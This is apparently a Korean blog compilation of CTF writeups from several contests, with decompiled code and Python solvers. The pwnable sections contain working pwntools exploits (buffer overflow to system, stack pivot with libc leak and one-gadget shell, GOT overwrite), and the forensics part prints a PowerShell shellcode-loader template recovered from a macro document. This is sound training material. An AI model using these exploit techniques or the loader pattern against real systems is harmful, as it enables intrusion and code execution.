    sub_401050("%s", &v13);
    if ( a5 != 30 )
      system(Command);
    v7 = 0;
    if ( (char *)&v13 + strlen((const char *)&v13) + 1 == (char *)&v13 + 1 )
      goto LABEL_13;
    do
    {
      v8 = byte_4031C9[2 * v7] + byte_4031C8[2 * v7];
      if ( v8 < 0 )
        v8 = -v8;
      *((_BYTE *)&v13 + v7) ^= v8;
      if ( *((_BYTE *)&v13 + v7) != byte_403248[v7] )
        goto LABEL_13;
      v11 = v6 + 1;
      ++v7;
      ++v6;
    }
    while ( v7 < strlen((const char *)&v13) );
    if ( v11 != 30 )
LABEL_13:
      exit(0);
    puts("C0ngratulation");
  }
  return 1;
}

먼저 바이너리 패치로 » 2번 째 입력 받는 곳까지 갈 수 있게 하고 이후 동적디버깅해서 비교해주는 값을 가져왔다.

이게 값이 좀 신기하게 들어가서 0xffffffff 넘게 들어가는 것도 있는데 그냥 비교해주는 구문앞에서 그 값과 테이블 값을 xor하면 플래그가 나온다.

check = ['0x58', '0x38', '0x79', '0x54', '0xf4', '0x6a', '0x7d', '0x58', '0xb2', '0x30', '0x21', '0x6d', '0x7d', '0x49', '0xc', '0xff', '0x1f', '0x71', '0x2', '0x1a', '0x41', '0x6c', '0x35', '0xe0', '0x49', '0xa7', '0x46', '0x7b', '0x5', '0x4f']
table = [25,80,38,11,141,90,8,7,211,84,76,4,19,22,120,151,126,31,105,105,30,92,5,191,43,151,53,8,93,11]
print ''.join(chr(int(x,16)^y) for x,y in zip(check,table))

FLAG : HCAMP{Ah__y0u_admin_thanks_00_b0ssXD}


Pwnable

magic

플래그가 저장된 값과 입력한 값을 비교하는데 Brute force attack 돌려주면 된다.

from pwn import *

payload = ''

while len(payload) != 30:
	for i in range(33,127):
		p = remote('pwnable.shop',20204)
		p.sendlineafter('>> ',str(2))
		tmp = chr(i)
		go = payload
		go += tmp
		p.sendlineafter('>> ',go)
		print go
		sleep(0.1)
		m = p.recvline()
		if 'Good!' in m:
			payload += tmp
			break
		p.close()
p.interactive()

FLAG : HCAMP{4RE_Y0U_GUESS1NG_K1NG?}


bofforeverfluw

from pwn import * 

#context.log_level = 'debug'

p = remote('pwnable.shop',20201)
e = ELF('./bofforeverfluw_edeb9811b02cc3c5f4f7cfecf5eebcdf')

system = 0x80484d2
ret = 0x0804A024
payload = 'A'*(0x204 + 0x4)
payload += p32(system)
payload += p32(ret)
p.sendafter('hi\n',payload)
sleep(0.1)
p.interactive()

FLAG : HCAMP{0ver_0ver_0ver_flow_@3@_!!}


pivot

Stack pivoting

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'
e = ELF('./pivot')
p = process('./pivot')
libc = e.libc
leave_ret = 0x000000000040075f # leave ; ret
prdi = 0x00000000004007d3 # pop rdi ; ret
prbp = 0x0000000000400620 # pop rbp ; ret
prsi_r15 = 0x00000000004007d1 # pop rsi ; pop r15 ; ret
bss = e.bss() + 0x100
main = 0x000000000040072E

payload = 'A'*0x50
payload += p64(bss) # sfp
payload += p64(main) # ret
p.send(payload)

payload2 = p64(prdi) + p64(1) + p64(prsi_r15) + p64(e.got['write']) + p64(0) + p64(e.plt['write'])
payload2 += p64(e.symbols['main'])
payload2 = payload2.ljust(0x50,'A')
payload2 += p64(bss - 0x50 - 8) # sfp
payload2 += p64(leave_ret) # ret
p.send(payload2)

libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - libc.symbols['write']
log.info('libc_base : ' + hex(libc_base))

payload3 = 'A'*0x58
payload3 += p64(libc_base + 0x45216)
p.send(payload3)

p.interactive()


campnote

fastbin


Misc

I_AM_NEWBIE

문제가 나오는데 그 질문에 대한 답을 계속 넣어주면 된다.

from pwn import *

#context.log_level = 'debug'

p = remote('pwnable.shop',20207)
print p.sendlineafter('>>','stack')
sleep(0.1)
print p.sendlineafter('>>','user account control')
sleep(0.1)
print p.sendlineafter('>>','eip')
sleep(0.1)
print p.sendlineafter('>>','assembly')
sleep(0.1)
print p.sendlineafter('>>','http')
sleep(0.1)
print p.sendlineafter('>>','eax')
sleep(0.1)
print p.sendlineafter('>>','ntfs')
sleep(0.1)
print p.sendlineafter('>>','cookie')
sleep(0.1)
print p.sendlineafter('>>','mbr')
sleep(0.1)
print p.sendlineafter('>>','security cookie')
sleep(0.1)
print p.sendlineafter('>>','breakpoint')
sleep(0.1)
print p.sendlineafter('>>','PK')
sleep(0.1)
print p.sendlineafter('>>','backdoor')
p.interactive()

FLAG : HCAMP{You_able_to_zzzzzannng_h4cker}


01010101

o를 0으로 바꿔주고 O을 1로 바꿔주고 8비트씩 끊어서 넣어줬다.

a="oOooOooooOooooOOoOoooooOoOooOOoOoOoOoooooOOOOoOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOoooooOoOOOooOOoOOoooOOooOOoooOooOOoooOoOoOOOOOoOooooOOooOOoooooOOooOooooOOooOOoOoOOOOOoOoooooooOOOoOOOoOoooooooOOOOOoO"
flag=""
for i in range(0,len(a),8):
	tmp = a[i:i+8]
	tmp = tmp.replace('o','0').replace('O','1')
	flag += tmp
print ''.join(map(lambda x: chr(int(x, 2)), [flag[i:i+8] for i in xrange(0, len(flag),8)]))

FLAG : HCAMP{B33p_B33p_Asc11_C0d3_@w@}


ControlFlowGraph

그래프뷰보면 플래그가 나온다.

FLAG : HCAMP{Fun_CFG_@@}


Forensic

Party of Base64

HackingCamp20th.docm 파일을 준다.

확장자를 zip으로 바꾸고 속에 있는 내부 파일들을 보게되면 vbaProject.bin 이라는 파일이 존재했는데 헥스값으로 까보면 base64 인코딩된 부분이 존재했다. 이 부분만 가져와서 base64 decode해주면 아래와 같은 소스가 나온다.

nd $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('MUY4QjA4MDgxQTMyNTI1RDAwMDM0ODQzNDE0RDUwNUY2NTZFNjM2RjY0NjU2NDJFNzQ3ODc0MDA2RDUxQzE0RUMzMzAwQ0RENjFEMkJFQTNBMkREMEU2MDAyMDJBNjk2QUQ4QzBCMjdEMEI0MDkwOTA5MjFEMERBNjYyOEE1NTFCNjAzMUQwQkE4RTkzRjcxRTA4M0Y4MTJFQzY0ODM4MjY4NkEyNTdFN0U4RUZEOUNDRjhGRjc3RDlFQTk2NDlEMEIzODM0M0FFN0U5Q0VGQ0E4RDVGOTg1MjU3Q0YxMDc3Q0U1NTk5RUJFMUE4QkQyNTI3MzU5NDMyRUI1QkMxOTg1ODMwOTFDMDA5Qjk2ODM2MjVBODZDNzY4QjQ5RjRDQ0JFODBDNkQ4ODE2QTIzRkMwMUQ2M0E3ODg5RDJBMTcwQjE3MEUwQjg1Q0I4OTIyRTc0N0IxMzNFMjBFMjgzRjc3QkVFNUU3OEUxRjFEQjNGRUI2OEYxRTE4QTE2RkU1MjIxMTgxREZFQUFDNUE5RDM2RkU0NTVBNDNDMDMzMEQxQzlCOEJGQkI4MURDMkU4MDRGMEQwRUQyMkFCNERCNEI2MTVDMDI3NzA4RDk0NzIzNEVFMzdCMTVEQzIyRUVENDdGODkyQUFCNTZCQTFENzc1NjY4NTIzNjgzMUFBMzE5RTBCRjUxOEE4MzQzMzFBRUM2NDdBQzRGMEUwMkYzMkYyODg1REE2RjU5RDRDMzZBRERBQTBBMjdDNTE2RjY3QjkwMjE2MzM1ODUyRDk5OTk4QTlFQTM5RDgxMDNDNzBGNzFBRkUyMkQyMjIyMEM3RUYwRTdEMjIxQTVEMkJBOTdGODg2Q0M1RkVDNTZEMUJGRjY3MkM1RDQ2QjVENjY2OEI1QTYwMjMzQTZFMkE5RTQ5OUVEOUYxQ0FGQTQ5NzlFMDlFMDFDRjZGMzc5MzhEMzAwQTA2QkRBMkYyMUI3M0U5NzlDRDg5RDAzMDZDODFBMjQyRDE3Njg2RTQzNUU4NTAyNEYyMDk2M0NEMkJGQzlGQzcyNjM2MkYyMEQ4MkJBQUUwMTc4NTVEOENBRkNFRUY5OTQ3RTkxRTBDNjNGRkZCQzVBRDM4RjZCMDU2NEExOEUzRjRBMkE2RTUxN0UxRDY4RTE3MTUwMzAwMDA=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 13
}

그리고 저기 var_code라는 변수를 base64 디코딩하면 16진수 값들이 나오는데 이 16진수를 보면 gzip이라는 것을 알 수 있다.

이 gzip을 압축 해제하면 HCAMP_encoded.txt 이라는 텍스트 파일이 나온다. 그 안에 있는 값을 16진수를 xor 13 해줬다.

b="E2B6B22E 64636E61 7869682D 317E7969 64622365 3300072E 64636E61 7869682D 317E7969 61646F23 65330007 2E64636E 61786968 2D317A64 6369627A 7E236533 00070007 00076E65 6C7F2D69 6C796C56 3F383B50 2D302D2F 51753B6B 51753834 5175386B 51753835 5175393E 5175393C 51753938 5175383B 51753934 51753A3E 51753A6E 5175393E 5175386F 51753934 51753868 5175386B 51753939 51753934 5175393D 5175393D 51753A3E 51753B3C 51753969 5175393D 5175386F 51753969 51753868 51753934 2F360007 00076E65 6C7F272D 7E687959 6C6F6168 25240007 76000704 0007046B 627F2D25 6463792D 642D302D 3D362D64 2D312D3F 352D362D 64262624 00070476 00070404 696C796C 5664502D 53302D3D 753F4E36 00070404 696C796C 5664502D 2B302D3D 754B4B4B 4B4B4B36 00070470 00070007 047F6879 787F632D 696C796C 36000770 00070007 6463792D 4E65686E 66256E62 637E792D 6E656C7F 2D27696C 796C212D 6E62637E 792D6E65 6C7F2D27 696C796C 3F216463 792D7562 7F5B6C61 24000776 0007046E 656C7F2D 6E65686E 66687F56 3F383B50 2D302D76 2D2F3D2F 2D703600 07046068 606E7D74 256E6568 6E66687F 212D696C 796C212D 7E647768 626B2569 6C796C24 263C2436 0007047E 797F6E6C 79256E65 686E6668 7F212D2F 762F2436 0007047E 797F6E6C 79256E65 686E6668 7F212D69 6C796C3F 24360007 047E797F 6E6C7925 6E65686E 66687F21 2D2F702F 24360007 047D7879 7E256E65 686E6668 7F243600 07047F68 79787F63 2D3D3600 07700007 00076463 792D606C 64632564 63792D6C 7F6A6E21 2D6E656C 7F272D6C 7F6A7B56 50240007 76000704 6463792D 25276B7D 24256E62 637E792D 6E656C7F 27216E62 637E792D 6E656C7F 2D272164 63792436 0007046B 7D2D302D 4E65686E 66360007 046E6263 7E792D6E 656C7F27 2D6B616C 6A2D302D 256E6263 7E792D6E 656C7F27 247E6879 596C6F61 68252436 00070464 6B2D252C 6B7D2525 6E62637E 792D6E65 6C7F2724 2F454E4C 405D2F21 6B616C6A 212D3C3D 24240007 04760007 04047D78 797E252F 5E786E6E 687E7E2F 24360007 04700007 70"
b=b.replace(" ","")
go=""
for i in range(0,len(b),2):
	go += chr(int("0x" + b[i:i+2],16) ^ 13)
print go

이렇게 xor해주면 c언어 코드가 나오게 된다.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


char data[256] = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49";

char* setTable()
{
	
	for (int i = 0; i < 28 ; i++)
	{
		data[i] ^= 0x2C;
		data[i] &= 0xFFFFFF;
	}

	return data;
}

int Check(const char *data, const char *data2,int xorVal)
{
	char checker[256] = { "0" };
	memcpy(checker, data, sizeof(data)+1);
	strcat(checker, "{");
	strcat(checker, data2);
	strcat(checker, "}");
	puts(checker);
	return 0;
}

int main(int argc, char* argv[])
{
	int (*fp)(const char*,const char *,int);
	fp = Check;
	const char* flag = (const char*)setTable();
	if (!fp((const char*)"HCAMP",flag, 10))
	{
		puts("Success");
	}
}

이제 테이블 값과 0x2c랑 xor해주면 된다..

d = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49"

print ''.join(chr((ord(d[i])^0x2c) & 0xffffff) for i in range(len(d)))

FLAG : HCAMP{Customize_Powershell_Malware}


Welcome to hackingcamp

jpg 파일이 주어지는데 jpg 파일 안에 png 파일이 숨겨져 있었다. 그 png 파일을 열어보면 플래그가 있다.

FLAG : HCAMP{@3@_Welcome_t0_hacking_c4mp_!!}


Lorem Lock

HwpScan2를 이용해서 풀었다. Section0에 Text를 보니 플래그가 있었다.

FLAG : HCAMP{Oh!__Y0u_Know_##_OFFSET}

2019 Inc0gnito CTF Writeup

Reversing

Reversing #2

LLVM 문제다. Control Flow Code Obfuscation을 적용해놨다.

문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  signed int v4; // eax
  signed int v5; // eax
  bool v6; // zf
  signed int v7; // eax
  signed int v9; // [rsp+7Ch] [rbp-224h]
  int v10; // [rsp+80h] [rbp-220h]
  int v11; // [rsp+84h] [rbp-21Ch]
  unsigned __int64 v12; // [rsp+88h] [rbp-218h]
  char s1[256]; // [rsp+90h] [rbp-210h]
  char s[268]; // [rsp+190h] [rbp-110h]
  unsigned int v15; // [rsp+29Ch] [rbp-4h]

  v15 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x100uLL);
  memset(s1, 0, 0x100uLL);
  v3 = s;
  printf("Easy one. Just Reverse Me :)\n", 0LL);
  v12 = (signed int)read(0, s, 0x100uLL);
  v11 = 0;
  v9 = 784577434;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( v9 == -1283299488 )
                  {
                    v3 = (char *)v10;
                    s1[v10] ^= byte_602060[v10 % 5];
                    v9 = 689708032;
                  }
                  if ( v9 != -1112985830 )
                    break;
                  v5 = -576509350;
                  if ( v10 < v12 )
                    v5 = -1283299488;
                  v9 = v5;
                }
                if ( v9 != -937301210 )
                  break;
                v10 = 0;
                v9 = -1112985830;
              }
              if ( v9 != -576509350 )
                break;
              v3 = (char *)&unk_602070;
              v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
              v7 = 447126853;
              if ( !v6 )
                v7 = 596317950;
              v9 = v7;
            }
            if ( v9 != 447126853 )
              break;
            v9 = 955640552;
            printf("Input is your flag\n", v3);
          }
          if ( v9 != 596317950 )
            break;
          v9 = 955640552;
          puts("Nope.");
        }
        if ( v9 != 689708032 )
          break;
        ++v10;
        v9 = -1112985830;
      }
      if ( v9 != 784577434 )
        break;
      v4 = -937301210;
      if ( v11 < v12 )
        v4 = 1637913944;
      v9 = v4;
    }
    if ( v9 == 955640552 )
      break;
    if ( v9 == 1637913944 )
    {
      v3 = (char *)16;
      s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
      v9 = 1690546716;
    }
    else if ( v9 == 1690546716 )
    {
      ++v11;
      v9 = 784577434;
    }
  }
  return v15;
}

간단하게 연산 순서를 나타내면 아래와 같다.

  1. byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];

  1. 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];

  1. 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;

이런 분기로 프로그램이 흘러간다.

이렇게 되면 쉽게 그냥 역연산 짜주면 된다.

byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]

이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.

우선 byte_602060[i%5] ^ unk_602070[i] 을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16] 이 나온다.

나는 브루트포스해서 INPUT 값을 구해주었다.

bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]

flag = []
m="SECRET"
for i in range(len(table)):
	for j in range(33,127):
		if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
			flag.append(j)
			break
print ''.join(chr(i) for i in flag)

FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}


Pwnable

GOT_O

간단한 got overwrite 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  problem();
  write(1, "\n\n", 2u);
  return 0;
}
ssize_t problem()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0xA0u);
}
int win()
{
  return printf("/bin/sh");
}

exploit.py

from pwn import *

context.log_level = 'debug'

p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')

main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system

payload = cyclic(cyclic_find('haaa'))

rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)

log.info('Stage1')

p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))

sys_got = read_got - read_offset

rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)

log.info('Stage2')

p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)

p.interactive()

FLAG : FLAG{This_is_got_overwrite}


Cryptography

3AsYCrACK_M3

argv로 입력된 값이 encrypt되어 Cdm+V2^U`7 랑 같으면 플래그라고 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+10h] [rbp-20h]
  signed int v5; // [rsp+1Ch] [rbp-14h]
  char *s; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  if ( argc != 2 )
  {
    puts("error");
    exit(0);
  }
  s = argv[1];
  v5 = strlen(argv[1]);
  if ( v5 > 20 )
  {
    puts("error");
    exit(0);
  }
  v4 = malloc(1uLL);
  *v4 = *s;
  for ( i = 0; i < v5 - 1; ++i )
    v4[i + 1] = s[i] + 2 * (s[i + 1] - s[i]) + 3;
  encrypt(s);
  printf("answer is %s\n", v4, argv);
  return 0;
}

이건 encrypt 함수이다.

__int64 __fastcall encrypt(const char *a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-18h]
  int v3; // [rsp+1Ch] [rbp-14h]
  int v4; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+24h] [rbp-Ch]
  signed int v6; // [rsp+28h] [rbp-8h]
  signed int i; // [rsp+2Ch] [rbp-4h]

  v6 = strlen(a1);
  if ( v6 <= 9 )
  {
    puts("error");
    exit(0);
  }
  v5 = (*a1 + a1[1]) % 10;
  v4 = (a1[3] / a1[2] + a1[1]) % 10;
  v3 = (a1[5] % a1[1] + a1[5]) % 10;
  v2 = (a1[3] + a1[1] + a1[6] - a1[2]) % 10;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= v6 )
      break;
    if ( i & 3 )
    {
      if ( i % 4 == 1 )
      {
        a1[i] += v4;
      }
      else if ( i % 4 == 2 )
      {
        a1[i] += v3;
      }
      else
      {
        a1[i] += v2;
      }
    }
    else
    {
      a1[i] += v5;
    }
  }
  return result;
}

브루트포스하면 풀린다.

enc = "Cdm+V2^U`7"
flag = "C"

for i in range(len(enc)-1):
	for j in range(33,127):
		if ord(enc[i+1]) == ord(flag[i]) + 2 * (j - ord(flag[i])) +3:
			flag += chr(j)
print flag

FLAG : CR^CK=LOVE


Forensic

wh3re_is_my_f14g

zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.

FLAG : 1nC0{d0_you_kn0w_21p?}

2019 제 17회 순천향대학교 정보보호 페스티벌(YISF) 예선 풀이

Web 50

편지를 쓰다 말고 훈련소에 끌려 갔다고 해서 .swp 파일인 것을 짐작 할 수 있었다.

http://218.158.141.133/.index.php.swp이 링크로 들어가면 서버 사이드 스크립트가 노출된다.

Magic hash 문제다.

입력한 한 문자열 + “S@L7”을 md5 encrypt 한 값과 0e123142351이 같으면 된다.

그러므로 입력한 문자열 + “S@L7” 의 md5 hash 값은 0e + 숫자 30바이트이면 된다.

이렇게 문자열Brute Force Attack 해서 입력한 값의 hash 값이 0e + 숫자가 나올 때까지 돌렸다.

한 2분정도 지나니까 403a8b가 나왔다. 이거 넣어주면 된다.

FLAG : YISF{Ma9ic_L3t7er_fr0m_Pr1v4te}


Reversing 50

현재 경로 가져와서 경로를 저장한다. 프로그램의 경로를 strncmp 분기 다 맞춰주면 된다.

그러면 /aaaaaYISF/TOP_SECRET/TOP_SEflag 이런 경로까지 가면 id, password를 입력할 수 있는 창이 나오게된다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // ST20_8
  signed __int64 v4; // rdi
  char *v6; // [rsp+18h] [rbp-A8h]
  char buf; // [rsp+30h] [rbp-90h]
  unsigned __int64 v8; // [rsp+B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  v6 = strrchr(*a2, 47) + 1;
  v3 = getcwd(&buf, 0x80uLL);
  printf("path : %s\nfilename : %s\n\n", v3, v6, a2);
  sub_B2F(v3, v6);
  if ( dword_20240C == 1 )
  {
    v4 = (signed __int64)(v6 + 6);
    if ( !strncmp(v6 + 6, "flag", 4uLL) )
    {
      ++dword_20240C;
      sub_DE7(v4, "flag");
    }
    sub_D64(v4, "flag");
  }
  return 0LL;
}

id는The_World_Best_Programmer인지 비교하고 password는 qwe123 이면 success!!가 뜬다. 그리고 어떠한 변수 값이 증가하면서 어떤 if문에 들어가서v6+6의 값이 flag인지 비교한다.

이건 동적디버깅해서 위치 어디인지 가져와서 그 위치에 맞게 파일 이름을 변경했다. 또 어떤 변수 값 하나를 증가시켜서 함수에서 플래그를 생성해준다.

char *__fastcall sub_B2F(__int64 a1, __int64 a2)
{
  char *dest; // [rsp+18h] [rbp-98h]
  char s[8]; // [rsp+20h] [rbp-90h]
  __int64 v5; // [rsp+28h] [rbp-88h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  __int64 v9; // [rsp+48h] [rbp-68h]
  __int64 v10; // [rsp+50h] [rbp-60h]
  __int64 v11; // [rsp+58h] [rbp-58h]
  char v12[8]; // [rsp+60h] [rbp-50h]
  __int64 v13; // [rsp+68h] [rbp-48h]
  __int64 v14; // [rsp+70h] [rbp-40h]
  __int64 v15; // [rsp+78h] [rbp-38h]
  __int64 v16; // [rsp+80h] [rbp-30h]
  __int64 v17; // [rsp+88h] [rbp-28h]
  __int64 v18; // [rsp+90h] [rbp-20h]
  __int64 v19; // [rsp+98h] [rbp-18h]
  unsigned __int64 v20; // [rsp+A8h] [rbp-8h]

  v20 = __readfsqword(0x28u);
  *s = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  *v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  dest = malloc(0x40uLL);
  if ( !strncmp((a1 + 6), "YISF", 4uLL) )
  {
    puts("\nHmm...?\n");
    if ( !strncmp((a1 + 11), "TOP_SECRET", 0xAuLL) )
    {
      puts("Please enter your ID and Password...\n");
      printf("ID : ", "TOP_SECRET", a2);
      fgets(s, 64, stdin);
      printf("PW : ", 64LL);
      fgets(v12, 64, stdin);
      strcpy(dest, v12);
      if ( strncmp(s, aTheWorldBestPr, 0x19uLL) || strncmp(v12, aQwe123, 6uLL) )
      {
        puts("\nYou don't have permission!!\n");
        exit(0);
      }
      puts("\nsuccess!!\n");
      ++dword_20240C;
    }
    else
    {
      puts("Invalid Directory Name\n");
    }
  }
  else
  {
    puts("Ivalid Directory Name\n");
  }
  return dest;
}

FLAG : YISF{5252~~_I_6eliev3d!!!}


Reversing 100

어차피 마지막에 플래그 출력해줄 것 같았다.

FLAG 출력해줄 인코딩된 테이블을 가져와서 XOR Brute Force Attack 했더니 플래그가 나왔다.

a=[0xc8,0xd8,0xc2,0xd7,0xea,0xa5,0xe3,0xf4,0xce,0xc8,0xa1,0xe4,0xce,0xf0,0xce,0xd2,0xf9,0xa2,0xf0,0xa6,0xf4,0xe3,0xae,0xae,0xec]
print ''.join(chr(i^145) for i in a)

FLAG : YISF{4re_Y0u_a_Ch3a7er??}


Misc 50

Introduce 들어가서 보면 된다.

확인을 누르면 alert 띄워서FLAG 준다.

FLAG : YISF{G00D_LUCK_3V3RY01V3}


Misc 100

주어진 nc로 들어가게되면 아래처럼 직선방정식으로 삼각형 넓이를 구하라고 x,y 값을 준다.

x,y값을 구한후 일명 신발끈 공식을 이용해 삼각형의 넓이를 구했다.

참고 : 신발끈 공식

좀 코드가 더럽긴한데.. 자꾸 11번째에서 오류나길래 인덱스 12부터 시작해줬더니 오류가 안나고 풀렸다.

FLAG : YISF{Mathematical_ability_i5_n0t_ru5ty}


Misc 150

주어진 nc 서버를 들어가면 딕셔너리를 주어서 만들 수 있는 경우를 브루트포스해서 문자를 만들어서 보내면 된다.

근데 딕셔너리가 문자로 주어져서 ast 모듈을 사용해서 풀었다.

FLAG : YISF{Y0u_make_table_WeLL}

2013 csaw CTF Quals Writeup

Reversing1 - 100pt

안티 디버깅 걸려있는데 상관 안쓰고 풀었다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int len; // kr00_4
  unsigned int v4; // ecx

  if ( IsDebuggerPresent() )
  {
    len = strlen(Text);
    v4 = 0;
    if ( len >> 2 != -1 )
    {
      do
        *&Text[4 * v4++] ^= 0xCCDDEEFF;
      while ( v4 < (len >> 2) + 1 );
    }
    MessageBoxA(0, Text, "Flag", 2u);
  }
  else
  {
    MessageBoxA(0, Text, "Flag", 2u);
  }
  ExitProcess(0);
}

Text 변수 긁어와서 xor연산해주는데 그거 역연산 짜주면 된다.

from idaapi import *
from idautils import *
from itertools import *

a = []
for i in range(32):
  a.append(hex(Byte(0x408B20+i)))
a = [int(i,16) for i in a]
b = [0xff,0xee,0xdd,0xcc]
flag = ""
for x,y in zip(a,cycle(b)):
	flag += chr(x^y)
print flag

FLAG : flag{this1isprettyeasy:)}


Reversing2 - 200pt

이 문제도 아까랑 그냥 거의 비슷하다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  HANDLE v3; // edi
  char *v4; // esi
  unsigned int v5; // ecx
  unsigned int v6; // eax

